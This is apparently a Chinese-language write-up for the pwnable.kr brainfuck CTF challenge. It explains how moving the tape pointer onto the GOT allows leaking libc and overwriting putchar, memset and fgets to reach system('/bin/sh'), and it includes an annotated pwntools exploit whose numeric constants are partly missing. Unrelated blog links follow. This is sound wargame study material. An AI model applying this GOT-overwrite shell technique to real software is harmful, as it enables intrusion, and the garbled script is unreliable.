I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr

补充一下知识,什么是brainfuck呢?

Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

接下来我们来看程序,首先看main函数:

 

点进去看一下brainfuck函数:

大致可分析得到程序的思路是:

fget输入,根据输入的内容对应相应的字符并执行。

补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html

题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中

bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。

下面我们分析解题思路 :

首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。

所以只能从用户输入入手:

  • 将menset覆写为gets,从stdin中读入"/bin/sh\0"

  • 将fgets覆写为system,执行system("/bin/sh\0")获取shell

这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。

整体思路:

  • 泄露putchar函数真实地址

  • 根据题目给的libc计算其他函数真实地址

  • 覆写GOT表中putchar函数为main函数地址

  • 覆写GOT表中fgets函数为system函数地址

  • 覆写GOT表中memset函数为gets函数地址

  • 返回main函数,getshell

所以exp如下:别人的exp我做些分析

 from pwn import *
context(os='linux', arch='i386', log_level='debug') DEBUG =
if DEBUG:
p = process('./bf')
libc = ELF('/usr/lib32/libc.so.6')
else:
p = remote('pwnable.kr', )
libc = ELF('./bf_libc.so') def main():
#pwnlib.gdb.attach(p)
p.recvuntil(']') put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
payload = '.' 输出指针指向的位置
payload += '<' * put_char_offset 指针put_char_offset减1
payload += '.>' * 4 输出指针位置加4的位置
payload += '<,' * # write put_char 输入内容到putchar的位置
payload += '<' * 4 指向memset的位置
payload += ',>' * # write memset 输入内容到memset位置后返回到Putchar
payload += '<' * (0x2c - 0x10 + ) 指针指向fget的位置
payload += ',>' * # write fgets 向fget输入后指针位置+4
payload += '.' * (0x400 - len(payload) - )
p.send(payload)
p.recv()
if DEBUG:
leak = p.recv()[:]
else:
p.recv()
leak = p.recv() log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak))) putchar_pos = u32(leak)
libc_base = putchar_pos - libc.symbols['putchar']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671 log.info("libc base at:" + hex(libc_base)) packed_gadget_pos = p32(0x08048671) # write put char
for x in (packed_gadget_pos[::-]):
p.send(x) # write memset
for x in p32(gets_addr):
p.send(x)
#write fgets
for x in p32(system_addr):
p.send(x) p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload) p.interactive() if __name__ == '__main__':
main()

pwnable.kr brainfuck之write up的更多相关文章

  1. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  2. pwnable.kr之brainf*ck

    pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. Android - Daydream 互动屏保

    Android Daydream 互动屏保 API19 API23 Create:2016-03-01 继承DreamService来实现一个自定义屏保 Dreams是当充电的设备空闲,或者插入底座时 ...

  2. 玩玩微信公众号Java版之四:自定义公众号菜单

    序: 微信公众号基本的菜单很难满足个性化及多功能的实现,那么微信能否实现自定菜单呢,具体的功能又如何去实现么?下面就来学习一下微信自定义公众号菜单吧! 自定义菜单接口可实现多种类型按钮,如下: 1.c ...

  3. 【Mysql】Mysql关键字

    ADD ALL ALTER ANALYZE AND AS ASC ASENSITIVE BEFORE BETWEEN BIGINT BINARY BLOB BOTH BY CALL CASCADE C ...

  4. Json 工具介绍 fastjson gson jackson

    1. fastjson fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致, 是目前Java语言中最快的J ...

  5. Fail2防止sshd暴力破解

    简介: fail2ban是一款实用软件,可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作.支持大量服务.如sshd,apache,qmail,proftpd,sasl等等 ...

  6. Open-Falcon第二步安装绘图组件Transfer(小米开源互联网企业级监控系统)

    ----安装绘图组件---- 安装Transfer transfer默认监听在:8433端口上,agent会通过jsonrpc的方式来push数据上来. cd /usr/local/open-falc ...

  7. NYOJ--21--bfs--三个水杯

    /* 输入 第一行一个整数N(0<N<50)表示N组测试数据 接下来每组测试数据有两行,第一行给出三个整数V1 V2 V3 (V1>V2>V3 V1<100 V3> ...

  8. Java Struts图片上传至指定文件夹并显示图片

    继上一次利用Servlet实现图片上传,这次利用基于MVC的Struts框架,封装了Servlet并简化了JSP页面跳转. JSP上传页面 上传一定要为form加上enctype="mult ...

  9. ACM退役帖 -- 未真正开始也不会结束

    2017.5.21,20岁的最后一天,昨天,随着2017年安徽省大学生程序设计竞赛落下帷幕,我也正式退役了ACM了.连ACM区域赛也没去过的我,也许是不够格提出退役ACM这句话的,但对ACM的热爱,虽 ...

  10. 13. Roman to Integer【leetcode】

    Roman to Integer Given a roman numeral, convert it to an integer. Input is guaranteed to be within t ...